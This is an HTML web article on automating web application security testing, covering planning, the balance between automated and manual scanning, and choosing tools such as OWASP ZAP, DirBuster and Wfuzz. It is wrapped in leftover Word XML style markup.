  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Balloon Text"/>
  <w:LsdException Locked="false" Priority="39" Name="Table Grid"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Theme"/>
  <w:LsdException Locked="false" SemiHidden="true" Name="Placeholder Text"/>
  <w:LsdException Locked="false" Priority="1" QFormat="true" Name="No Spacing"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 1"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 1"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 1"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 1"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 1"/>
  <w:LsdException Locked="false" SemiHidden="true" Name="Revision"/>
  <w:LsdException Locked="false" Priority="34" QFormat="true"
   Name="List Paragraph"/>
  <w:LsdException Locked="false" Priority="29" QFormat="true" Name="Quote"/>
  <w:LsdException Locked="false" Priority="30" QFormat="true"
   Name="Intense Quote"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 1"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 1"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 1"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 1"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 1"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 1"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 2"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 2"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 2"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 2"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 2"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 2"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 2"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 2"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 2"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 2"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 2"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 3"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 3"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 3"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 3"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 3"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 3"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 3"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 3"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 3"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 3"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 3"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 4"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 4"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 4"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 4"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 4"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 4"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 4"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 4"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 4"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 4"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 4"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 5"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 5"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 5"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 5"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 5"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 5"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 5"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 5"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 5"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 5"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 5"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 6"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 6"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 6"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 6"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 6"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 6"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 6"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 6"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 6"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 6"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 6"/>
  <w:LsdException Locked="false" Priority="19" QFormat="true"
   Name="Subtle Emphasis"/>
  <w:LsdException Locked="false" Priority="21" QFormat="true"
   Name="Intense Emphasis"/>
  <w:LsdException Locked="false" Priority="31" QFormat="true"
   Name="Subtle Reference"/>
  <w:LsdException Locked="false" Priority="32" QFormat="true"
   Name="Intense Reference"/>
  <w:LsdException Locked="false" Priority="33" QFormat="true" Name="Book Title"/>
  <w:LsdException Locked="false" Priority="37" SemiHidden="true"
   UnhideWhenUsed="true" Name="Bibliography"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="TOC Heading"/>
  <w:LsdException Locked="false" Priority="41" Name="Plain Table 1"/>
  <w:LsdException Locked="false" Priority="42" Name="Plain Table 2"/>
  <w:LsdException Locked="false" Priority="43" Name="Plain Table 3"/>
  <w:LsdException Locked="false" Priority="44" Name="Plain Table 4"/>
  <w:LsdException Locked="false" Priority="45" Name="Plain Table 5"/>
  <w:LsdException Locked="false" Priority="40" Name="Grid Table Light"/>
  <w:LsdException Locked="false" Priority="46" Name="Grid Table 1 Light"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark"/>
  <w:LsdException Locked="false" Priority="51" Name="Grid Table 6 Colorful"/>
  <w:LsdException Locked="false" Priority="52" Name="Grid Table 7 Colorful"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 1"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 1"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 1"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 1"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 1"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 1"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 2"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 2"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 2"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 2"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 2"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 2"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 3"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 3"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 3"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 3"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 3"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 3"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 4"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 4"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 4"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 4"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 4"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 4"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 5"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 5"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 5"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 5"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 5"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 5"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 6"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 6"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 6"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 6"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 6"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 6"/>
  <w:LsdException Locked="false" Priority="46" Name="List Table 1 Light"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark"/>
  <w:LsdException Locked="false" Priority="51" Name="List Table 6 Colorful"/>
  <w:LsdException Locked="false" Priority="52" Name="List Table 7 Colorful"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 1"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 1"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 1"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 1"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 1"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 1"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 2"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 2"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 2"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 2"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 2"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 2"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 3"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 3"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 3"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 3"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 3"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 3"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 4"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 4"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 4"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 4"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 4"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 4"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 5"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 5"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 5"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 5"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 5"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 5"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 6"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 6"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 6"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 6"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 6"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 6"/>
 </w:LatentStyles>
</xml><![endif]--><!-- [if gte mso 10]>

<![endif]--></p>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/automate-web-security-how-why-security-tools-1.jpg" alt="automate-web-security-how-why-security-tools-1" style="margin: 7px; float: left;" title="Web Application Vulnerability Scanning - Tools  and methods." />In this article, we’re going to talk about <strong>automating your web security</strong> in the <strong>safest and most effective way</strong>. We’ll also touch on a few <strong>Web Application Security automation tools</strong> worth considering using. Furthermore, we'll speak about why its important to select the right <strong>Web Application Scanning tool</strong> and how it can help meet your <strong>web development time frame</strong>, saving the company a lot of money and time.</p>
<p style="text-align: justify;">Automation has been a popular buzzword in the digital space for a few years now. With the ability to reduce labour hours, eliminate repetitive tasks and improve the bottom line, it seems that everyone is looking for a way to automate their daily workflow to every extent possible. With web application security testing being both time-consuming and expensive, it’s a prime candidate for automation.</p>
<p style="text-align: justify;">In the never-ending game of cat and mouse between developers, penetration testers and hackers The speed of execution plays a significant role in the identification and management of vulnerabilities. What makes the process even more challenging is the fact that both security professional and hackers are using the same or similar tools.</p>
<p style="text-align: justify;">If you’re not taking advantage of the ability to automate some of your security scanning, it’s only a matter of time until someone beats you to the punch. In almost all situations, it’s not a risk worth taking.</p>
<p style="text-align: justify;">Despite all the positive aspects that arrive as a result of using an automated web security scanner, there are still some important points to consider during the implementation process in order to maximize your effectiveness.</p>
<h2 style="text-align: left;">Automation Starts With Planning</h2>
<p style="text-align: justify;">As with any undertaking, in order to achieve optimal results, it’s imperative that you follow a well thought out planning process. This means before you commence automated web vulnerability scanning, you should develop a plan that is specific, measurable, attainable and time-sensitive.</p>
<p style="text-align: justify;">Reducing risk and searching for web application vulnerabilities requires nothing short of a detailed plan. You need to understand what a potential hacker might be looking for and where the most serious risks might lie, area that will vary with every business. You also need a clear understanding of what tools you’ll be using as well as how they will be used.</p>
<p style="text-align: justify;"><strong>Automating web security </strong>means having a plan that is measurable. This is best achieved through accurate reporting and open communication amongst your team. If a web application is in development, you should be testing at specific predetermined intervals throughout the development lifecycle. Writing vulnerable code on top of vulnerable code merely exacerbates the problem.</p>
<p style="text-align: justify;">A plan that’s attainable will help to keep you on track. Consistent and methodical testing is always better than inconsistent and haphazard.</p>
<p style="text-align: justify;">Finally, having a time-sensitive completion date is always vital to the overall success. If your project never leaves the development and testing phase, is still a liability from a business perspective, which is why many developers turn to automatic scanning tools from both the open-source and commercial sector</p>
<h2 style="text-align: left;">Automated Versus Manual Scanning</h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/automate-web-security-how-why-security-tools-2.jpg" alt="automate-web-security-how-why-security-tools-2" style="margin: 7px; float: left;" title="Automated vs Manual Web Vulnerability Scanning" />You might be asking, “how can an automated web vulnerability scanner possibly replace a human?” You’d be correct in your assumption that an automated scanner is no replacement for human intuition or experience. However, you’d probably also agree that manually scanning for hundreds or thousands of <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="cross-site scripting (XSS)">cross-site scripting (XSS)</a> vulnerabilities across multiple web applications can quickly become an unrealistic proposition.</p>
<p style="text-align: justify;">One of the keys to automating your web security is finding the appropriate timing and balance between using an automated scanner and a security professional. Intuition and experience are razor sharp at 7 AM, but their effectiveness and reliability have decreased significantly by 4 PM.</p>
<p style="text-align: justify;">Use a human element where necessary and automate everywhere else. We discussed this recently when<a href="https://www.netsparker.com/blog/web-security/logical-vs-technical-web-application-vulnerabilities/"> </a>comparing technical and logical vulnerabilities, and it’s clear that while many of the vulnerabilities listed in the <a href="https://www.owasp.org/index.php/Top_10" target="_blank" rel="nofollow noopener" title="OWASP top 10">OWASP top 10</a> require human logic, there are many that do not – efficient allocation of human resources has financial benefits and can also improve the effectiveness of logical analysis.</p>
<h2 style="text-align: left;">Choose Your Tools</h2>
<p style="text-align: justify;">Once you’ve outlined a plan, it’s time to select your tools. There are a variety of tools available for your consideration and evaluating web application security scanners is not an easy job. Use any tool you are comfortable with. It’s also important to note that experienced penetration testers have learned that it’s best not to rely on one single tool.</p>
<p style="text-align: justify;">Deciding on an automated security scanner often raises the debate between free and open source versus paid commercial platforms. There is no right or wrong answer.</p>
<p style="text-align: justify;">An example of an open source platform for someone who is developing their own application would be a tool such as the<a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project"> </a><a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project" target="_blank" rel="nofollow noopener" title="OWASP Zed Attack Proxy">OWASP Zed Attack Proxy</a>. It’s relatively easy to use and provides both active and passive scanning, a spider, full reporting and a brute force component that can help to find files with no internal links.</p>
<p style="text-align: justify;">On the other hand, you might also want to consider a commercial web application security scanner. More often than not, they offer a<a href="https://www.netsparker.com/web-vulnerability-scanner/overview/"> </a>superior user-interface, more consistent updates, as well as better support. On balance, a commercial scanner is often more user-friendly and functional with frequent updates as the developer has a vested interest in offering a high-quality product.</p>
<p style="text-align: justify;">Although open source tools like OWASP ZAP offer a multitude of functionality, best practices dictate that you also use tools dedicated to a specific task. For example,<a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project"> </a><a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project" target="_blank" rel="nofollow noopener" title="DirBuster Web Application Security Scanner">DirBuster</a> and<a href="http://www.edge-security.com/wfuzz.php"> </a><a href="http://www.edge-security.com/wfuzz.php" target="_blank" rel="nofollow noopener" title="Wfuzz Security Scanner">Wfuzz</a> are two tools designed specifically for bruteforcing web applications.</p>
<p style="text-align: justify;">By using a variety of tools, some of which overlap in functionality, you’re more likely to identify and expose a greater number of vulnerabilities.</p>
<h2 style="text-align: left;">Implement &amp; Iterate</h2>
<p style="text-align: justify;">There is no magic recipe of secret sauce when it comes to automating your web application security scanning. It’s a process that relies heavily on a combination of smart planning, the right tools and necessary experience.</p>
<p style="text-align: justify;">It’s also important to remember that automation is about more than saving time and money. It’s about strategically implementing a process designed to efficiently reduce the vulnerability of your web applications –&nbsp; letting both software and humans do what they do best.</p>
<!-- [if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:RelyOnVML/>
  <o:AllowPNG/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!-- [if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:TrackMoves/>
  <w:TrackFormatting/>
  <w:PunctuationKerning/>
  <w:ValidateAgainstSchemas/>
  <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
  <w:IgnoreMixedContent>false</w:IgnoreMixedContent>
  <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
  <w:DoNotPromoteQF/>
  <w:LidThemeOther>EN-AU</w:LidThemeOther>
  <w:LidThemeAsian>X-NONE</w:LidThemeAsian>
  <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
   <w:DontGrowAutofit/>
   <w:SplitPgBreakAndParaMark/>
   <w:EnableOpenTypeKerning/>
   <w:DontFlipMirrorIndents/>
   <w:OverrideTableStyleHps/>
  </w:Compatibility>
  <w:DoNotOptimizeForBrowser/>
  <m:mathPr>
   <m:mathFont m:val="Cambria Math"/>
   <m:brkBin m:val="before"/>
   <m:brkBinSub m:val="&#45;-"/>
   <m:smallFrac m:val="off"/>
   <m:dispDef/>
   <m:lMargin m:val="0"/>
   <m:rMargin m:val="0"/>
   <m:defJc m:val="centerGroup"/>
   <m:wrapIndent m:val="1440"/>
   <m:intLim m:val="subSup"/>
   <m:naryLim m:val="undOvr"/>
  </m:mathPr></w:WordDocument>
</xml><![endif]--><!-- [if gte mso 9]><xml>
 <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="false"
  DefSemiHidden="false" DefQFormat="false" DefPriority="99"
  LatentStyleCount="371">
  <w:LsdException Locked="false" Priority="0" QFormat="true" Name="Normal"/>
  <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 1"/>
  <w:LsdException Locked="false" Priority="0" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 2"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 3"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 4"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 5"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 6"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 7"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 8"/>
  <w:LsdException Locked="false" Priority="9" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="heading 9"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 6"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 7"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 8"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index 9"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 1"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 2"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 3"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 4"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 5"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 6"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 7"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 8"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" Name="toc 9"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Normal Indent"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="footnote text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="annotation text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="header"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="footer"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="index heading"/>
  <w:LsdException Locked="false" Priority="35" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="caption"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="table of figures"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="envelope address"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="envelope return"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="footnote reference"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="annotation reference"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="line number"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="page number"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="endnote reference"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="endnote text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="table of authorities"/>
